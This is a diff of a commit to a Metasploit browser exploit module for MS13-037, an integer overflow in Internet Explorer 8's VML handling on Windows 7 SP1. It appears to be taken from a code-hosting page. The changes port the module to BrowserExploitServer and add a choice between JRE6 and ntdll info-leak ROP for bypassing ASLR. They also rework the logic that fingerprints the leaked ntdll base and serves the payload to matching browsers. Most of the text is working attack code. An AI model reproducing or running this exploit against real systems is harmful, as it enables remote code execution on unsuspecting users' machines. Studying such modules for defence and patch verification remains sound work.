8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = NormalRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpServer :: HTML
11
+ include Msf ::Exploit ::Remote ::BrowserExploitServer
12
12
include Msf ::Exploit ::RopDb
13
- #include Msf::Exploit::Remote::BrowserAutopwn
14
-
15
- #autopwn_info({
16
- # :ua_name => HttpClients::IE,
17
- # :ua_minver => "8.0",
18
- # :ua_maxver => "8.0",
19
- # :javascript => true,
20
- # :os_name => OperatingSystems::Match::WINDOWS,
21
- # :rank => Rank
22
- #})
23
-
24
13
25
14
def initialize ( info = { } )
26
15
super ( update_info ( info ,
27
16
'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow" ,
28
17
'Description' => %q{
29
18
This module exploits an integer overflow vulnerability on Internet Explorer.
30
19
The vulnerability exists in the handling of the dashstyle.array length for vml
31
- shapes on the vgx.dll module. This module has been tested successfully on Windows 7
32
- SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
33
- to use an info leak to disclose the ntdll.dll base address is provided. This target
34
- requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
35
- installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
20
+ shapes on the vgx.dll module.
21
+
22
+ The exploit has been built and tested specifically against Windows 7 SP1 with
23
+ Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
24
+ bypass ASLR, and by default the info leak is used. To make sure the leak is
25
+ successful, the ntdll version should be either v6.1.7601.17514 (the default dll
26
+ version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
27
+ (installed after apply MS12-001). If the target doesn't have the version the exploit
28
+ wants, it will refuse to attack by sending a fake 404 message (webpage not found).
29
+
30
+ If you wish to try the JRE6 component instead to bypass ASLR, you can set the
31
+ advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
32
+ have this particular component, the exploit will also refuse to attack by
33
+ sending a 404 message.
36
34
} ,
37
35
'License' => MSF_LICENSE ,
38
36
'Author' =>
39
37
[
40
38
'Nicolas Joly' , # Vulnerability discovery, PoC and analysis
41
- '4B5F5F4B' , # PoC
42
- 'juan vazquez' # Metasploit module
39
+ '4B5F5F4B' , # PoC
40
+ 'juan vazquez' , # Metasploit module
41
+ 'sinn3r' # BES upgrade
43
42
] ,
44
43
'References' =>
45
44
[
@@ -61,23 +60,21 @@ def initialize(info={})
61
60
'InitialAutoRunScript' => 'migrate -f'
62
61
} ,
63
62
'Platform' => 'win' ,
63
+ 'Arch' => ARCH_X86 ,
64
+ 'BrowserRequirements' =>
65
+ {
66
+ :source => /script/i ,
67
+ :os_name => OperatingSystems ::Match ::WINDOWS_7 ,
68
+ :ua_name => HttpClients ::IE ,
69
+ :ua_ver => '8.0' ,
70
+ } ,
64
71
'Targets' =>
65
72
[
66
- [ 'Automatic' , { } ] ,
67
- [ 'IE 8 on Windows 7 SP1 with JRE ROP' , # default
68
- {
69
- 'Rop' => :jre ,
70
- 'Offset' => '0x5f4'
71
- }
72
- ] ,
73
- # requires:
74
- # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
75
- # * ntdll.dll v6.1.7601.17725 (MS12-001)
76
- [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak' ,
77
- {
78
- 'Rop' => :ntdll ,
79
- 'Offset' => '0x5f4'
80
- }
73
+ [
74
+ 'IE 8 on Windows 7 SP1' ,
75
+ {
76
+ 'Offset' => '0x5f4'
77
+ }
81
78
]
82
79
] ,
83
80
'Privileged' => false ,
@@ -89,40 +86,20 @@ def initialize(info={})
89
86
OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
90
87
] , self . class )
91
88
89
+ register_advanced_options (
90
+ [
91
+ # ntdll requires:
92
+ # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
93
+ # * ntdll.dll v6.1.7601.17725 (MS12-001)
94
+ OptEnum . new ( 'ROP' , [ true , 'The type of ROP to use (JRE6 or leak NTDLL)' , 'NTDLL' , [ 'JRE6' , 'NTDLL' ] ] )
95
+ ] , self . class )
92
96
end
93
97
94
98
def exploit
95
- @second_stage_url = rand_text_alpha ( 10 )
99
+ @second_stage_url = " #{ get_module_resource } #{ rand_text_alpha ( 10 ) } " . chomp
96
100
@leak_param = rand_text_alpha ( 5 )
97
- super
98
- end
99
-
100
- def get_target ( agent )
101
- #If the user is already specified by the user, we'll just use that
102
- return target if target . name != 'Automatic'
103
101
104
- nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
105
- ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
106
-
107
- ie_name = "IE #{ ie } "
108
-
109
- case nt
110
- when '5.1'
111
- os_name = 'Windows XP SP3'
112
- when '6.0'
113
- os_name = 'Windows Vista'
114
- when '6.1'
115
- os_name = 'Windows 7'
116
- end
117
-
118
- targets . each do |t |
119
- if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
120
- print_status ( "Target selected as: #{ t . name } " )
121
- return t
122
- end
123
- end
124
-
125
- return nil
102
+ super
126
103
end
127
104
128
105
def ie_heap_spray ( my_target , p )
@@ -204,10 +181,10 @@ def get_ntdll_rop
204
181
def get_payload ( t , cli )
205
182
code = payload . encoded
206
183
# No rop. Just return the payload.
207
- return code if t [ 'Rop' ] . nil?
184
+ return code if t . opts [ 'Rop' ] . nil?
208
185
209
186
# Both ROP chains generated by mona.py - See corelan.be
210
- case t [ 'Rop' ]
187
+ case t . opts [ 'Rop' ]
211
188
when :jre
212
189
print_status ( "Using JRE ROP" )
213
190
stack_pivot = [
@@ -383,20 +360,32 @@ def html_info_leak
383
360
384
361
end
385
362
386
- def on_request_uri ( cli , request )
387
- agent = request . headers [ 'User-Agent' ]
388
- uri = request . uri
389
- print_status ( "Requesting: #{ uri } " )
363
+ def set_rop ( t , rop , info )
364
+ case rop
365
+ when /^ntdll$/i
366
+ t . opts [ 'Rop' ] = :ntdll
367
+ when /^jre6$/i
368
+ if info [ :java ] !~ /1\. 6|6\. 0/
369
+ raise RuntimeError , "Target does not have the suitable Java component (1.6) installed for our attack"
370
+ end
371
+
372
+ t . opts [ 'Rop' ] = :jre
373
+ end
374
+
375
+ return t
376
+ end
390
377
391
- my_target = get_target ( agent )
392
- # Avoid the attack if no suitable target found
393
- if my_target . nil?
394
- print_error ( "Browser not supported, sending 404: #{ agent } " )
378
+ def on_request_exploit ( cli , request , target_info )
379
+ begin
380
+ my_target = set_rop ( get_target , datastore [ 'ROP' ] , target_info )
381
+ rescue RuntimeError => e
382
+ # This one is just a warning, because it's a requirement check so it's not that scary.
383
+ print_warning ( e . message )
395
384
send_not_found ( cli )
396
385
return
397
386
end
398
387
399
- if my_target [ 'Rop' ] == :ntdll and request . uri !~ /#{ @second_stage_url } /
388
+ if my_target . opts [ 'Rop' ] == :ntdll and request . uri !~ /#{ @second_stage_url } /
400
389
html = html_info_leak
401
390
print_status ( "Sending HTML to info leak..." )
402
391
send_response ( cli , html , { 'Content-Type' => 'text/html' } )
@@ -414,7 +403,7 @@ def on_request_uri(cli, request)
414
403
return
415
404
end
416
405
417
- vprint_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
406
+ print_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
418
407
fingerprint = leak & 0x0000ffff
419
408
420
409
case fingerprint
@@ -425,7 +414,7 @@ def on_request_uri(cli, request)
425
414
@ntdll_version = "6.1.7601.17725" # MS12-001
426
415
@ntdll_base = leak - 0x47090
427
416
else
428
- print_error ( "ntdll version not detected, sending 404: #{ agent } " )
417
+ print_warning ( "ntdll version not detected, sending 404: #{ agent } " )
429
418
send_not_found ( cli )
430
419
return
431
420
end
0 commit comments